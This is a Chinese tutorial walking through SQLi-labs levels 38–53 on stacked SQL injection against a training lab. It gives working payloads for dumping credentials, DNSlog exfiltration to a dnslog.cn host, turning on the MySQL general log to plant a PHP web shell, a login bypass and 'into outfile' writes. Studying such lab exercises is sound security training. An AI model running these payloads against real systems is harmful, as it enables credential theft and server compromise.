SQLi-labs 堆叠注入 38-53关
LESS-38
书接上回,这次我们一样是冲击LESS-38
但这次不耍小聪明,我们使用DNSlog+堆叠注入的方法,来过关。
上次的代码,直接爆库,无视堆叠部分
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
DNSlog是在某些无法直接利用漏洞获得回显的情况下,利用他来把像获取的出去外带出去。
DNSLog
注入时,需要利用到load_file()函数
在数据库中使用 select load_file('\\\\sql注入查询语句.a.com')
后面是网址,自行去网站上申请
比如我们使用最简单的语句,select database()再组合上我们的dnslog进行使用
语句为
select (concat('\\\\',database(),'.68iiiz.dnslog.cn/abc'))
具体操作笔者不在展示,因为笔者靶机没有网络。
日志Getshell
方法观看自’国光’的sql笔记
需要条件:
-
Web 的物理路径
-
MySQL 可以读写 Web 目录
-
Windows 成功率 高于 Linux
首先查看日志
show variables like 'general%'
查看general_log属性,也就是日志属性的装态,可以发现,是关闭状态
利用堆叠注入开启
?id=1';set global general_log ='on';set global general_log_file='你想要的目录/shell.php';
然后在查询中输入phpinfo代码
?id=1';select <?php phpinfo();?>
日志中的代码
然后利用网址访问该PHP即可获得权限。
tips:注意分号;一定要写,不然不能运行
该方法在win系统下比liunx成功率要高
LESS-39
拼接方式:id=$id
与38一致
LESS-40
拼接方式:id=('$id')
与38一致
LESS-41
拼接方式:id=$id
与38一致,只是无回显
LESS-42
拼接方式:id=‘$id’
42关一打开,给人一种24关的感觉,总觉得又是利用#符号,来屏蔽后方进行绕过修改密码。
但点击注册界面,和24关不同,他告诉我们如果需要账号,就自己黑进去。
那么我们就可以利用堆叠注入,进行inset into进去我们的账号密码
那我们直接使用万用密码绕过,进入到修改界面
login_user=admin&login_password=1' or 1#&mysubmit=Login
绕过后直接进入到界面,默认是登录到id1,也就是dumb账号。
同时也让我们得知到,dumb这个值所在的位置是有回显的,那么我们直接可以查询账号密码。
我们还是先查询完账号吧
login_user=admin&login_password=1' union select 1,(select group_concat(username) from users),3#&mysubmit=Login
然后使用24关方法#屏蔽修改可以
获取完账号密码修改可以
最轻松的就是直接使用堆叠注入在后方使用update直接更改账号密码。
LESS-43
拼接方式:username=('$username')
与42一致
LESS-44
拼接方式:username='$username'
与42一致,无报错信息,不能使用报错注入
LESS-45
拼接方式:username=('$username')
与42一致,无报错信息,不能使用报错注入
LESS-46
进入页面,根据提示,发现该关卡和之前都不同,输入的值是sort
查看代码
发现原来是写到了orderby 里面去了
拼接方式:order by $id
那就不能使用联合注入了,因为已经是在句末了
尝试用报错注入,发现有报错信息,那么使用报错注入就好了
报错注入一次只能查一个数据,接下来就是慢慢查,不过多赘述。
?sort=1 and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3)#
LESS-47
拼接方式:ORDER BY '$id'
与46一致,拼接方式不同
LESS-48
拼接方式:order by $id
改关没有报错提醒,就不能使用报错注入了。
可以使用布尔盲注,或者延时盲注。
那我们可以使用导出数据的方法,将数据导出到文件里,然后再进行查看。
?sort=1 into outfile"你想要的存放地点.文件名.txt"
然后进行访问即可,如果导入不成功,那么就是因为mysql没有读写权限的原因。
那我们就要去开启权限
?sort=1 set secure_file_priv = ''
设置为空任何目录都可导入。
然后执行导出就可以
但实际上,直接写入一句话php代码,就可以做到获得权限完成注入。
LESS-49
拼接方式:ORDER BY '$id'
类似48
LESS-50
拼接方式:ORDER BY $id
类似46,可以报错注入。另外还可以使用堆叠注入。
LESS-51
拼接方式:ORDER BY '$id'
类似50
LESS-52
拼接方式:ORDER BY $id
类似50,无报错回显。
LESS-53
拼接方式:ORDER BY '$id'
类似-51,但无报错注入